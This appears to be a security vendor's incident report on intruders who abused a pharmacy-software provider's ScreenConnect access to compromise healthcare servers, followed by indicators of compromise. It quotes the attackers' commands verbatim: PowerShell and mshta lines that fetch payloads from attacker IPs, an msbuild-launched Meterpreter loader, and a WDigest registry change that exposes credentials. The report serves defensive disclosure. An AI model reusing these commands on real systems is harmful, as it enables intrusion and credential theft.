In a concerning development within the healthcare sector, Huntress has identified a series of unauthorized access that signifies internal reconnaissance and preparation for additional threat actor activity against multiple healthcare organizations.
The attackers abused a locally hosted instance of a widely-used remote access tool, ScreenConnect—utilized by the company Transaction Data Systems (which recently merged with and was renamed Outcomes), the makers of Rx30 and ComputerRx software — for initial access to victim organizations. The threat actor proceeded to take several steps, including installing additional remote access tools such as ScreenConnect or AnyDesk instances, to ensure persistent access to the environments.
In this article, there are multiple ScreenConnect instances at play; there are a total of four instances observed, across two endpoints, from completely distinct organizations (i.e., not the same company, not managed by the same MSP, geographically separated, etc.). One of those ScreenConnect instances appeared and was used by the threat actor on both endpoints.
There were similarities in tactics, techniques, and procedures (TTPs) across both endpoints, as well as multiple intersections in indicators of compromise (IOCs). Specifically, one ScreenConnect instance (instance B) was observed being actively used on both endpoints, the “[redacted 1]” account was observed being used to access both endpoints via ScreenConnect, and the file test.xml was downloaded to both endpoints via PowerShell.
Endpoint 1 is a Windows Server 2019 Standard system within an infrastructure in the pharmaceutical field. Log data allowed the Huntress team to ‘see’ as far back as August 9, 2023, where the team observed ScreenConnect instance A being accessed via an account named “[redacted 1]”. There were repeated “Connected” and “Disconnected” messages for the account until the file ConnectWiseControl.ClientSetup.msi was downloaded and launched, installing ScreenConnect instance B on the endpoint. Then, beginning on August 10, 2023, the “[redacted 1]” account was used to access the endpoint via ScreenConnect instance B. There were several pairs of “Connected” and “Disconnected” messages in the logs for the “[redacted 1]” account until October 28, 2023.
On October 28, the “[redacted 2]” account was used to access ScreenConnect instance B, and run the following PowerShell command:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('http://2.57.149[.]103/a.msi', 'C:\Users\Administrator\Documents\a.msi') }"
The a.msi file was launched via MsiExec.exe, installing ScreenConnect instance C on the endpoint, connecting to IP address 45.66.230[.]146 via port 8041. Shortly after the installation completed, the “[redacted 2]” account disconnected from ScreenConnect instance B.
Two days later, on October 30, ScreenConnect instance C was used to run the following PowerShell command:
powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://119.91.138[.]133:443/test.xml', 'c:\programdata\test.xml')"
Almost 20 hours later, on October 31, ScreenConnect instance B was used to run the following command:
C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\programdata\test.xml
The payload, test.xml , consists of C# code forking the publicly available nps project for detection evasion and process execution. As designed, the payload attempts to load a Metasploit Meterpreter instance in memory, but antimalware protections on the system identified and attempted to terminate execution. However, this does not appear to have succeeded, as additional processes were observed being launched via the Printer Spooler service, spoolsv.exe. For example, the following processes were observed being run:
nslookup myip.opendns[.]com. Resolver1.opendns[.]com
powershell -command "Import-Module ActiveDirectory;Get-ADComputer -Filter * -Properties * | Sort IPv4Address | FT Name, ipv4*, oper*, LastLogonDate -Autosize"
C:\Windows\system32\cmd.exe /S /D /c type C:\Windows\System32\mimilsa.log | findstr /V Mailbox
Endpoint 2 is also a Windows Server 2019 Standard system, within an infrastructure in the healthcare field. Log data illustrates that ScreenConnect instance B (the same “instance B” observed on endpoint 1) was installed and actively being connected to via the “[redacted 1]” account as of November 8, 2022. On November 1, 2023, the file s.msi was transferred to the endpoint via the ScreenConnect instance; launching this file led to ScreenConnect instance D being installed on this endpoint, with the instance configured to connect to 185.12.45[.]98 on port 8041.
It was clear that ScreenConnect instance B was still running and accessible on the endpoint; on November 5, 2023, an error message indicated that the instance attempted to connect to the configured endpoint, and a DNS Client message was observed indicating that the configured endpoint could not be resolved.
On November 6, the following PowerShell command was run via ScreenConnect instance D:
powershell -Command $wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://119.91.138[.]133:443/test.xml', 'c:\programdata\test.xml')
The use of msbuild.exe to compile the file and launch the payload was not observed on this endpoint. However, four hours later, the following PowerShell command was run, also via ScreenConnect instance D:
powershell -Command $wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://bashupload[.]com/PXYpf/a.msi', 'c:\programdata\a.msi')
This file was launched via msiexec.exe, installing the “AnyDeskMSI Service”. However, about a minute and a half after being launched, this service was stopped via taskkill.exe.
Approximately four hours later, the threat actor made multiple attempts to create the “manager” user account and add the account to the local Administrator group on the endpoint. Once their efforts were successful, the threat actor logged out, then logged back into ScreenConnect instance D via the newly created account, and then used that instance to transfer and launch the file Advanced_IP_Scanner_2.5.4594.1.exe. Finally, the threat actor was observed running the following commands:
mshta http://119.91.138[.]133:9999/5E1Ch
taskkill /F /IM mshta.exe
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
ScreenConnect instance B, found on both endpoints and accessed via the “[redacted 1]” account, per the user.config file retrieved from one of the endpoints monitored via Huntress, is tied to rs.tdsclinical[.]com.
The observed domain is legitimate and associated with Transaction Data Systems (now named Outcomes). At this time, Huntress cannot identify whether Transaction Data Systems itself has been breached, if credentials for a legitimate Transaction Data Systems-associated employee or user have been leaked, or if some other mechanism was involved tying their remote management of these clients to subsequent threat actor abuse.
Huntress has identified and urges immediate action upon the following IoCs:
| IP Address | Hosting Provider | Hosting Location | Function |
|---|---|---|---|
| 119.91.138[.]133 | Tencent Computer Systems | CN | Primary infrastructure for storing and retrieving post-access payloads |
| 185.12.45[.]98 | Private Layer Inc | PA | Connecting server associated with malicious ScreenConnect instance D |
| 45.66.230[.]146 | Delis LLC | NL | Connecting server associated with malicious ScreenConnect instance C |
| 2.57.149[.]103 | Red Byte LLC | PL | Hosting server for AnyDesk MSI installation |
Name
SHA256
Function
test.xml
9f42bf3a61faaab8f86abb3c7f9db417bffb3474a55169a4efb1d2386545e4e8
C# payload designed to load Meterpreter into victim memory
a.msi
70f865a7f8a01356685b17abdf6ac738e9a9098f1ae2d5a34cfa3610cb28fc56
AnyDesk MSI installer
s.msi
8c3b4febe58df0a01126d78109f52035d34a4e03f02b5d4fca3e4d94f3f657b3
ScreenConnect MSI installer
ScreenConnect Instance ID
Description
adf02e34cba839d2
ScreenConnect instance ID B, associated with rs.tdsclinical[.]com
e3e2410d655306ff
ScreenConnect instance ID C, associated with 45.66.230[.]146
4974c38508ef2b18
ScreenConnect instance ID D, associated with 185.12.45[.]98
C:\programdata\a.msi
C:\programdata\test.xml
C:\Users\Administrator\Documents\a.msi
S.msi
C:\Users\manager\Documents\ConnectWiseControl\Files\Advanced_IP_Scanner_2.5.4594.1.exe
C:\Program Files (x86)\ScreenConnect Client (<unique identifier>)\ScreenConnect.ClientService.exe
While researching this event, Huntress analysts identified an open directory on 2.57.149[.]103, shown in the following figure:
In addition to a.msi, the AnyDesk installer previously discussed, two additional files were located:
The IP in question appears to be a tool repository for threat actors, although the lack of observations on b.msi and payloads in t.zip in monitored environments makes its association with the ScreenConnect incidents uncertain. However, the payloads in question match overall observed behaviors in terms of remote access tool installation (b.msi) and payloads associated with system survey (masscan64.exe) and data capture (WinPcap_4_1_3.exe). The outlier is veeam.exe, as all other observed activity indicates a combination of credential capture or reuse with living-off-the-land techniques or abuse of legitimate software.
Pharmacies and other healthcare organizations that may be clients of Transaction Data Systems/Outcomes should immediately examine their systems and networks for the above IoCs. Any discovery of these should be taken seriously and investigated promptly. Given the potential implications of such a breach in the healthcare industry, particularly regarding patient data, privacy, and availability of critical services, a comprehensive response is essential.
If you’d like to have someone else watching your back while you work on scoping your environment, start a free trial with us so our 24/7 SOC can keep an eye out for you.
It's imperative for organizations within the healthcare domain to recognize the gravity of such intrusions and take concerted steps to safeguard their infrastructure. Enhanced endpoint monitoring, robust cybersecurity frameworks, and proactive threat hunting are no longer optional but a necessity in the face of such sophisticated cyber threats.
In our effort to respond responsibly to this situation, we have made several attempts through various channels to contact Transaction Data Systems (now Outcomes) to communicate our findings and offer support in addressing these incidents. We have not yet been able to engage with their team.
We remain open and ready to collaborate for the safety and security of all parties involved.
Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.
